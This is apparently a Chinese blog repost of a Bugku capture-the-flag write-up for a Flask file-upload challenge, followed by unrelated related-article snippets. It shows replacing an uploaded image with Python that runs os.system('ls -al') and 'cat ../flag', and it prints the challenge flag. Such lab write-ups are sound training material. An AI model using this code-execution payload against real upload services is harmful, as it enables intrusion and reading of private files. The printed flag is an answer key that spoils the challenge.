草庐IT

bugku CTF练习:Flask_FileUpload思路

baby-shark 2023-04-24 原文

https://ctf.bugku.com/challenges/detail/id/204.html

 

打开页面是这个样子。右键查看源代码。

它提示我说会用Python去执行。太棒了。

选择一张普通图片。点击上传。把流量转到burpsuite上。

把burpsuite上抓到的包发送到重发模块

把图片的内容删除。改成

import os
print(os.system('ls -al'))

发现执行了Python,想了一下。应该是Python执行系统命令。
 

 一步一步。发现上一级目录上有一个flag的文件。

执行下面的代码:

import os
print(os.system('cat ../flag'))

就得到了flag

flag{5f40e0bdb1089bf9dcb06a384c2b2008}

 

有关bugku CTF练习:Flask_FileUpload思路的更多相关文章

  1. 牛客网专项练习30天Pytnon篇第02天 - 2

    1.在Python3中,下列关于数学运算结果正确的是:(B)a=10b=3print(a//b)print(a%b)print(a/b)A.3,3,3.3333...B.3,1,3.3333...C.3.3333...,3.3333...,3D.3.3333...,1,3.3333...解析:    在Python中,//表示地板除(向下取整),%表示取余,/表示除(Python2向下取整返回3)2.如下程序Python2会打印多少个数:(D)k=1000whilek>1:    print(k)k=k/2A.1000 B.10C.11D.9解析:    按照题意每次循环K/2,直到K值小于等

  2. 【华为OD机试真题 java、python、c++】荒地电站建设【2022 Q4 100分】(100%通过+复盘思路) - 2

    代码请进行一定修改后使用,本代码保证100%通过率,本题目提供了java、python、c++三种代码。复盘思路在文章的最后题目描述祖国西北部有一片大片荒地,其中零星的分布着一些湖泊,保护区,矿区;整体上常年光照良好,但是也有一些地区光照不太好。某电力公司希望在这里建设多个光伏电站,生产清洁能源对每平方公里的土地进行了发电评估,其中不能建设的区域发电量为0kw,可以发电的区域根据光照,地形等给出了每平方公里年发电量x千瓦。我们希望能够找到其中集中的矩形区域建设电站,能够获得良好的收益。输入描述第一行输入为调研的地区长,宽,以及准备建设的电站【长宽相等,为正方形】的边长最低要求的发电量之后每行为

  3. 华为OD机试 -旋转骰子(Python) | 机试题算法思路 【2023】 - 2

    最近更新的博客华为OD机试-卡片组成的最大数字(Python)|机试题算法思路华为OD机试-网上商城优惠活动(一)(Python)|机试题算法思路华为OD机试-统计匹配的二元组个数(Python)|机试题算法思路华为OD机试-找到它(Python)|机试题算法思路华为OD机试-九宫格按键输入(Python)|机试算法备考思路华为OD机试-身高排序(Python)|备考思路使用说明参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。华为OD清单查看地址:blog.csdn.net/hihell/catego

  4. jquery - 如何将 jquery-fileupload 用于嵌套附件? - 2

    我正在使用jquery-fileupload-rails用于多个文件上传。我想实现设置文档名称并向其添加多个附件的能力。但是现在,当我选择3个附件时,它会创建3个文档,每个文档都有一个附件。我想我需要以某种方式更改添加附件的形式。我添加了多个选项和硬编码名称。我想使用这个插件,因为稍后我想添加拖放功能。来自=simple_form_for[:member,@document],html:{multipart:true}do|f|=f.input:name=f.simple_fields_for:attachments,Attachment.newdo|a|=a.file_field:a

  5. ruby-on-rails - Rails for Zombies Lab 4 > 练习 3 - 2

    我在第三个练习中停留在第四个RailsforZombies实验室。这是我的任务:创建将创建新僵尸的操作,然后重定向到创建的僵尸的显示页面。我有以下参数数组:params={:zombie=>{:name=>"Greg",:graveyard=>"TBA"}}我写了下面的代码作为解决方案:defcreate@zombie=Zombie.create@zombie.name=params[:zombie[:name]]@zombie.graveyard=params[:zombie[:graveyard]]@zombie.saveredirect_to(create_zombie_path

  6. Python + selenium 解决验证码问题思路(超详细) - 2

    提示:这里提供selenium破解验证码的思路,使用打码平台从而破解验证码文章目录文章目录一、第一步剖析平台验证码类型二、编写selenium代码1.引入库所需要的模块2.定义一个初始属性3.找到账户登录的元素然后点击4.短信验证登录5.找到手机号输入框6.输入手机号之后会有这样类型的验证码7.找到验证码1图片的url地址8.找到验证码2图片的url地址​9.现在可以按照思路编写代码了10.获取到两张验证码的url下载它们11.合成两张图片为一张图片         12.合成图片之后就变成了13.接入打码平台然后把合成好的图片上传到接口14.处理好坐标数据之后就模拟人的操作来点击验证码​编辑

  7. 基于ChatGPT的智能问答、ai绘图微信小程序思路 - 2

    ChatGPT![在这里插入图片描述](https://img-blog.csdnimg.cn/186d9ecc453b48be9f19c467da7c3f07.jpegChatGPT是openai公司的一个人工智能机器人产品,目前已经升级到4.0版本。其因便捷高效,已经在大学生、IT届、科研界等领域广为流传。但是直接进入其官网使用有时候并不是那么方便,毕竟他不开放给中国用户使用,我们需要一些魔法才能用上。如果做成一个微信小程序随时随地打开就能用的话,会方便很多。正好openai官方也开放了api供开发者使用。我们可以进入openai官网https://platform.openai.com/

  8. javascript - AngularJS FileUpload 中未定义内容类型的用途 - 2

    为了将文件从Angular上传到SpringMVCRESTWebService,人们似乎在AJAX请求中设置Content-Type:undefinedheader。这种content-type的用途是什么,SpringMultiPart是否需要它?$http.post(uploadUrl,fd,{transformRequest:angular.identity,headers:{'Content-Type':undefined}//...} 最佳答案 它将重置默认header“application/json”并让浏览器为我们填

  9. javascript - Flask session 不持久( postman 工作,Javascript 不) - 2

    我正在开发一个Flask服务器,以便通过网络在某些后端Python功能和Javascript客户端之间进行通信。我正在尝试利用Flask的session变量在用户与应用程序交互的过程中存储用户特定的数据。我已经删除了下面大部分特定于应用程序的代码,但我遇到的核心问题仍然存在。这是我的(简化的)Flask应用程序的代码:importjsonimportosfromflaskimportFlask,jsonify,request,sessionapp=Flask(__name__)app.secret_key='my_secret_key'@app.route('/',methods=['

  10. javascript - 在 ckeditor 中集成 blueimp fileupload - 2

    是否可以集成BlueimpFileUpload(https://github.com/blueimp/jQuery-File-Upload)与编辑器CkEditor(http://ckeditor.com/)???有什么提示吗?非常感谢! 最佳答案 最后我自己找到了解决办法:在blueimpfileupload的文件index.php中,我编辑了表格,首先添加了以下行命令:"{%=file.url%}"Choose在这个文件的末尾,在jquery包含之后:$(".chooseThis").live("click",function(

随机推荐